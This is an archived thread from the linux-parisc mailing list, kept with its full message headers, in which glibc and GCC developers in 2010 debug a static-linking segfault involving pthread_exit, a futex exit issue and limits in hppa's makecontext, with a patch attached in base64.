References: <20100127170625.0E6F54EA9@hiauly1.hia.nrc.ca>
	 <119aab441001290555k38c84cfdq2907d50e75f2c123@mail.gmail.com>
	 <20100129145437.GA7819@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264781727 31309 80.91.229.12 (29 Jan 2010 16:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Jan 2010 16:15:27 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 29 17:15:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NatV8-00025C-4P
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jan 2010 17:15:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755053Ab0A2QOZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jan 2010 11:14:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755026Ab0A2QIW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 Jan 2010 11:08:22 -0500
Original-Received: from mail-ew0-f228.google.com ([209.85.219.228]:58842 "EHLO
	mail-ew0-f228.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751479Ab0A2QIT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jan 2010 11:08:19 -0500
Original-Received: by ewy28 with SMTP id 28so278450ewy.28
        for <linux-parisc@vger.kernel.org>; Fri, 29 Jan 2010 08:08:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=EDJa27Ou6+xRr0RW4sYyT7DTgQgmx0Hu8xxNawY9yTQ=;
        b=bgdItcKcpxBT4NRncPUaChTyPU91NoKCGITI1YTzmUspw4bzjkIIx6sh4Jlc/WAlSp
         6C4giTvmTp4DGp26BQnhqZKkPelF6gObFgXXrwjgEY66zm0n5QV7ZQPv7fpzDDP3UXNW
         btCMaktS85okIOZ5M35DcvqO+nxkEBsvDMTqU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ffZtKFFbqcqSMIicu9x8Z2Ph+RAbxJPOtKc5M8qW3V2pe3ODgcIi9nw24wrm/HFA/j
         CJjIYO19hVyEMAa3QjPVkFX36FPCi7gJLfs6eHI+v/xO5J9A3KS1Bhmn11um9WR8Qffb
         37U2DpQxB7tCBUlZ4agM3yLhPZ3p1Zk5KjWIE=
Original-Received: by 10.216.85.212 with SMTP id u62mr457639wee.164.1264781296702; Fri, 
	29 Jan 2010 08:08:16 -0800 (PST)
In-Reply-To: <20100129145437.GA7819@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 739d92fea8c40b2d
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2588
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2588>

On Fri, Jan 29, 2010 at 9:54 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> Think you missed that I said the application was being linked with
> -static. =A0As a result, pthread_create.o won't be loaded from libpth=
read.a
> just to resolve __nptl_nthreads.

I linked with -static, and it was resolved to pthread_create.o from
libpthread.a. However, my application called pthread_create *before*
calling pthread_exit.

> This is the application:
>
> // This test only applies to glibc (NPTL) targets.
> // { dg-do run { target *-*-linux* } }
> // { dg-options "-pthread" }
>
> #include <pthread.h>
> #include <cxxabi.h>
> extern "C" int printf (const char *, ...);
>
> int main()
> {
> =A0try
> =A0 =A0{
> =A0 =A0 =A0pthread_exit (0);
> =A0 =A0}
> =A0catch (abi::__forced_unwind &)
> =A0 =A0{
> =A0 =A0 =A0printf ("caught forced unwind\n");
> =A0 =A0 =A0throw;
> =A0 =A0}
> =A0catch (...)
> =A0 =A0{
> =A0 =A0 =A0printf ("caught ...\n");
> =A0 =A0 =A0return 1;
> =A0 =A0}
> }
>
> This is the gcc link command:
>
> /home/dave/gnu/gcc/objdir/gcc/testsuite/g++/../../collect-ld -static =
-o ./forced.xgs /usr/lib/crt1.o /usr/lib/crti.o /home/dave/gnu/gcc/objd=
ir/gcc/testsuite/g++/../../crtbeginT.o -L/home/dave/gnu/gcc/objdir/hppa=
-linux/./libstdc++-v3/src/.libs -L/home/dave/gnu/gcc/objdir/hppa-linux/=
=2E/libstdc++-v3/src/.libs -L/home/dave/gnu/gcc/objdir/hppa-linux/./lib=
iberty -L/home/dave/gnu/gcc/objdir/gcc/testsuite/g++/../.. -L/home/dave=
/gnu/gcc/objdir/hppa-linux/./libstdc++-v3/src/.libs /tmp/ccmLwpAe.o -ls=
tdc++ -lm --start-group -lgcc -lgcc_eh -lpthread -lc --end-group /home/=
dave/gnu/gcc/objdir/gcc/testsuite/g++/../../crtend.o /usr/lib/crtn.o
>
> Compile with:
>
> g++ -o xx -static -pthread xx.C
>
> Given what you said, the same fault would likely occur on x86.

This isn't supported by glibc. You must pull in pthread_create.o if
you call pthread_exit(). Otherwise nothing defines __nptl_nthreads.

This test crashes on x86.
carlos@crasus:~$ readelf -a test | grep __nptl_nthreads
  1863: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __nptl_nthreads

carlos@crasus:~$ ./test
caught forced unwind
Segmentation fault

I don't know why it crashes so late on x86, perhaps during another
operation that manipulate ptr_nthreads?

We blow up in nptl-ini.c during the static initialization that sets
ptr_nthreads to &__nptl_nthreads e.g.
~~~
static const struct pthread_functions pthread_functions =3D
  {
    .ptr_pthread_attr_destroy =3D __pthread_attr_destroy,
=2E..
    .ptr_nthreads =3D &__nptl_nthreads,
    .ptr___pthread_unwind =3D &__pthread_unwind,
    .ptr__nptl_deallocate_tsd =3D __nptl_deallocate_tsd,
    .ptr__nptl_setxid =3D __nptl_setxid,
    /* For now only the stack cache needs to be freed.  */
    .ptr_freeres =3D nptl_freeres
  };
~~~

This is technically a generic glibc bug.

Does linking with `-u pthread_create` fix the testcase? It fixes the
failure on x86.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Fri, 29 Jan 2010 11:45:06 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20100129164507.5DA9D4E77@hiauly1.hia.nrc.ca>
References: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264783516 5318 80.91.229.12 (29 Jan 2010 16:45:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Jan 2010 16:45:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 29 17:45:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Naty4-0002Hn-RF
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jan 2010 17:45:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753098Ab0A2QpL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jan 2010 11:45:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753881Ab0A2QpL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 Jan 2010 11:45:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2422 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753098Ab0A2QpK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jan 2010 11:45:10 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5DA9D4E77; Fri, 29 Jan 2010 11:45:07 -0500 (EST)
In-Reply-To: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com> from "Carlos O'Donell" at Jan 29, 2010 11:08:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2589
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2589>

> This is technically a generic glibc bug.
> 
> Does linking with `-u pthread_create` fix the testcase? It fixes the
> failure on x86.

Yes, the segv doesn't happen and the program executes correctly.  However,
it's broken with gcc head when static linking isn't used.  Still trying to
determine which gcc revision caused the regression.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Fri, 29 Jan 2010 12:53:44 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab441001290953r74009887x7be7173bfad95d1e@mail.gmail.com>
References: <20100108163756.48BDE5183@hiauly1.hia.nrc.ca>
	 <4B47A130.8060603@gmx.de>
	 <119aab441001081344j38000314p1931df34149eabd3@mail.gmail.com>
	 <4B524912.4070204@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1264787963 24764 80.91.229.12 (29 Jan 2010 17:59:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 Jan 2010 17:59:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 29 18:59:20 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nav7n-0004YH-9G
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jan 2010 18:59:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752755Ab0A2R7S convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jan 2010 12:59:18 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752802Ab0A2R7S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 29 Jan 2010 12:59:18 -0500
Original-Received: from mail-ew0-f228.google.com ([209.85.219.228]:47987 "EHLO
	mail-ew0-f228.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752755Ab0A2R7R convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jan 2010 12:59:17 -0500
Original-Received: by ewy28 with SMTP id 28so81076ewy.28
        for <linux-parisc@vger.kernel.org>; Fri, 29 Jan 2010 09:59:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=haqm84i82Hww+oZdjCGoyTFreFlDL4u5Uz60UWfLz+c=;
        b=cfpuE+urQ3b/MFPHmMR/EeBDM27ei/0ek1fsO5mU1nWVbGZOiKVjmxM7HIR2FqaRbO
         qGsWl18ytkS/aC8m85vkDTPLyr0MSQY0QxPhRzGbxZs+Nz9beB/9ygyD+Xkv7PBCnw3u
         ANzNFsHh3tClM58SSrmp/pUF5rMS1SDAgLQiY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=EdRzrtLbbU00Qw7i48OA7Cf/pxcqx0c+AuTvIHPODMrjGU7N+4Nir3UKx6bvjvSqqG
         YO20dkZbjPoeN3AJ2ex2PxA7qhWqIsSATEbJkKTF3T+VfboXeg80CgBR6f1ySB67ZJbA
         ZxdaHv7EznKV/B5t12gaesdOlvcO6GIPWEL/Y=
Original-Received: by 10.216.86.212 with SMTP id w62mr587993wee.131.1264787624151; Fri, 
	29 Jan 2010 09:53:44 -0800 (PST)
In-Reply-To: <4B524912.4070204@gmx.de>
X-Google-Sender-Auth: d2c6bc5fcdf5bd1a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2590>

On Sat, Jan 16, 2010 at 6:17 PM, Helge Deller <deller@gmx.de> wrote:
> This coding seems to indicate that we call _exit(), but we aren't (as
> you see above in the strace).
> So I'm wondering if the "bl _exit,%rp" needs changing.
> Something with HIDDEN_JUMPTARGET(_exit) or similar, so that
> _exit() instead of exit() is called?
>
> Actually I did tested this with the minifail test program, and change=
d
> thread_run() to call _exit(0) at the end instead of "return 0":
> void* thread_run(void* arg) {
> =A0 =A0 =A0 =A0...
> /* =A0 =A0 =A0return (void *)&status; =A0*/
> =A0 =A0 =A0 =A0_exit(0);
> }
> With strace I then suddenly got exit_group() which seems more correct=
:
> [pid =A01910] write(1, "Thread OK.\n", 11) =3D 11
> [pid =A01910] exit_group(0) =A0 =A0 =A0 =A0 =A0 =A0 =A0 =3D ?

I agree with this analysis. I'm testing a change which uses
HIDDEN_JUMPTARGET(). I will tell you how it goes.

Calling exit_group is important for threads.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Questions about hppa *context functions.
Date: Sun, 31 Jan 2010 11:25:09 -0500
Lines: 85
Approved: news@gmane.org
Message-ID: <119aab441001310825x6fa7254u85c00dc1b0588950@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016e649820cf77a36047e784f02
X-Trace: ger.gmane.org 1264955128 16080 80.91.229.12 (31 Jan 2010 16:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 16:25:28 +0000 (UTC)
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 17:25:24 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nbcbr-0002wz-G4
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 17:25:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751836Ab0AaQZM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 11:25:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753026Ab0AaQZM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 11:25:12 -0500
Original-Received: from ey-out-2122.google.com ([74.125.78.24]:5255 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751836Ab0AaQZL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 11:25:11 -0500
Original-Received: by ey-out-2122.google.com with SMTP id d26so886308eyd.19
        for <linux-parisc@vger.kernel.org>; Sun, 31 Jan 2010 08:25:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=JYxjKOZiYe5tomiBxVbRorGu2hzzCdODK0MFJewvmHo=;
        b=lqZJsSu6dScuQQEao+0WU3VV9pQasMqei59eKarpVfFgasEcypsLUPsEAVuJ3Rinyr
         TKP6cxioZl4W+io5c/43+Ub/4Iz6fhbwgac5o/xtKAn3D3eJcb1lZfDNWjse0IdayefD
         UmMoHQMGxj4SlxQqj1UPschvvKVplznsEMxgY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=IA1jzNbODkToMInY6fd7p3Y2DzqPnoN/+GdA8cHSuSrD4rvoufadlGXE1tFL+G/x0d
         kvAZQcrHnEsv+7quGuGjmmg9iQXAznFeCFCa1o8zALQmhYMUe+3aNdP0IPZ41R3XnZOn
         KTixZZmdGpy78W5x1yReQpFVws1/VehcyMCC8=
Original-Received: by 10.216.154.70 with SMTP id g48mr2181714wek.109.1264955109636; 
	Sun, 31 Jan 2010 08:25:09 -0800 (PST)
X-Google-Sender-Auth: 37843903529a54b6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2591
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2591>

--0016e649820cf77a36047e784f02
Content-Type: text/plain; charset=ISO-8859-1

Helge,

On December 15th, 2009 an additional *context test was added to glibc,
see stdlib/tst-makecontext3.c.

This test fails on hppa with:
~~~
makecontext: does not know how to handle more than 8 arguments
~~~

I have a couple of questions and comments about hppa's *context implementation:

1. Why limit the number of input arguments to 8?

The ABI should allow an unlimited number of arguments to be placed on
the stack. It is up to the caller to make sure that
ucp->uc_stack.ss_sp points to enough space to hold all of the
additional arguments.

2. It doesn't appear that the current implementation transfers
ucp->uc_stack.ss_sp to the stack pointer when makecontext() is called.

Take a look at:
http://www.opengroup.org/onlinepubs/009695399/functions/makecontext.html

The caller can set an alternate stack by setting ucp->uc_stack.ss_sp,
and makecontext should likely do:
ucp->uc_mcontext.sc_gr[30] = ucp->uc_stack.ss_sp + <space required by args>;

3. POSIX says that all the arguments must be of type int, but in a
comment you write "XXX: This implementation only handles integer
arguments."

Is there any reason this comment should stay there?

To give you an example, I'm attaching a modified makecontext.diff for
you to comment on.

Cheers,
Carlos.

--0016e649820cf77a36047e784f02
Content-Type: application/octet-stream; name="makecontext.diff"
Content-Disposition: attachment; filename="makecontext.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g541kw7j0

ZGlmZiAtLWdpdCBhL3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbWFrZWNvbnRleHQuYyBi
L3N5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbWFrZWNvbnRleHQuYwppbmRleCA2OWExODEz
Li4zNTZhMDk0IDEwMDY0NAotLS0gYS9zeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL21ha2Vj
b250ZXh0LmMKKysrIGIvc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9tYWtlY29udGV4dC5j
CkBAIC0yNSw3ICsyNSw3IEBACiAjaW5jbHVkZSA8c3lzZGVwLmg+CiAjaW5jbHVkZSA8dWNvbnRl
eHQuaD4KIAotLyogWFhYOiBUaGlzIGltcGxlbWVudGF0aW9uIG9ubHkgaGFuZGxlcyBpbnRlZ2Vy
IGFyZ3VtZW50cy4gICovCisvKiBQT1NJWCBvbmx5IHN1cHBvcnRzIGludGVnZXIgYXJndW1lbnRz
LiAgKi8KIAogdm9pZAogX19tYWtlY29udGV4dCAodWNvbnRleHRfdCAqdWNwLCB2b2lkICgqZnVu
YykgKHZvaWQpLCBpbnQgYXJnYywgLi4uKQpAQCAtNTAsMjkgKzUwLDI2IEBAIG1ha2Vjb250ZXh0
OiBkb2VzIG5vdCBrbm93IGhvdyB0byBoYW5kbGUgbW9yZSB0aGFuIDggYXJndW1lbnRzXG4iKSk7
CiAgIHZhX3N0YXJ0IChhcCwgYXJnYyk7CiAgIC8qIEhhbmRsZSBhcmd1bWVudHMuICAqLwogICBm
b3IgKGkgPSAwOyBpIDwgYXJnYzsgKytpKQotICAgIHN3aXRjaCAoaSkKLSAgICAgIHsKLSAgICAg
IGNhc2UgMDoKLSAgICAgIGNhc2UgMToKLSAgICAgIGNhc2UgMjoKLSAgICAgIGNhc2UgMzoKLSAg
ICAgIAl1Y3AtPnVjX21jb250ZXh0LnNjX2dyWzI2LWldID0gdmFfYXJnIChhcCwgaW50KTsKLQli
cmVhazsKLSAgICAgIGNhc2UgNDoKLSAgICAgIGNhc2UgNToKLSAgICAgIGNhc2UgNjoKLSAgICAg
IGNhc2UgNzoKLQlpZiAoc2l6ZW9mKHVuc2lnbmVkIGxvbmcpID09IDQpIHsKLQkJLyogMzJiaXQ6
IHB1dCBhcmc3LWFyZzQgb24gc3RhY2suICAqLwotCQlzcFs3LWldID0gdmFfYXJnIChhcCwgaW50
KTsKLQl9IGVsc2UgewotCQkvKiA2NGJpdDogcjE5LXIyMiBhcmUgYXJnNy1hcmc0LiAgKi8KLQkJ
dWNwLT51Y19tY29udGV4dC5zY19nclsyMis0LWldID0gdmFfYXJnIChhcCwgaW50KTsKKyAgICB7
CisgICAgICBpZiAoaSA8IDQpCisJeworCSAgdWNwLT51Y19tY29udGV4dC5zY19nclsyNi1pXSA9
IHZhX2FyZyAoYXAsIGludCk7CisJICBjb250aW51ZTsKIAl9Ci0JYnJlYWs7Ci0gICAgICB9Ci0g
IHZhX2VuZCAoYXApOwogCisgICAgICBpZiAoKGkgPCA4KSAmJiAoc2l6ZW9mKHVuc2lnbmVkIGlu
dCkgPT0gOCkpCisJeworCSAgLyogNjRiaXQ6IHIxOS1yMjIgYXJlIGFyZzctYXJnNC4gICovCisJ
ICB1Y3AtPnVjX21jb250ZXh0LnNjX2dyWzIyKzQtaV0gPSB2YV9hcmcgKGFwLCBpbnQpOworCSAg
Y29udGludWU7CisJfSAKKworICAgICAgLyogQWxsIG90aGVyIGFyZ3VtZW50cyBnbyBvbiB0aGUg
c3RhY2suICAqLworICAgICAgc3BbaV0gPSB2YV9hcmcgKGFwLCBpbnQpOworICAgIH0KKyAgdmFf
ZW5kIChhcCk7IAorICAvKiBBZGp1c3QgdGhlIHN0YWNrIHBvaW50ZXIgdG8gbGFzdCB1c2VkIGFy
Z3VtZW50LiAgKi8KKyAgdWNwLT51Y19tY29udGV4dC5zY19nclszMF0gPSBzcFthcmdjIC0gMV07
CiB9CiAKIAo=
--0016e649820cf77a36047e784f02--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 11:39:05 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20100131163906.58A5C4EA9@hiauly1.hia.nrc.ca>
References: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1264955955 19038 80.91.229.12 (31 Jan 2010 16:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 31 Jan 2010 16:39:15 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 31 17:39:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NbcpK-0001kq-69
	for glpp-linux-parisc@lo.gmane.org; Sun, 31 Jan 2010 17:39:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752570Ab0AaQjJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jan 2010 11:39:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753067Ab0AaQjJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 31 Jan 2010 11:39:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2550 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752570Ab0AaQjI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jan 2010 11:39:08 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 58A5C4EA9; Sun, 31 Jan 2010 11:39:05 -0500 (EST)
In-Reply-To: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com> from "Carlos O'Donell" at Jan 29, 2010 11:08:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2592
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2592>

Hi Carlos,

Could you look at GCC target/42850?  This is for the same testcase.

It looks like glibc either has a hidden dependence on libgcc_s, or
we have a dynamic loader bug.  See comment #3.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segmentation fault in __libc_start_main with -static
Date: Sun, 31 Jan 2010 11:52:21 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab441001310852u687139b3rf711997e4e2e4b83@mail.gmail.com>
References: <119aab441001290808g51a80822m91ff468cc07fa0ed@mail.gmail.com>
	 <20100131163906.58A5C4EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
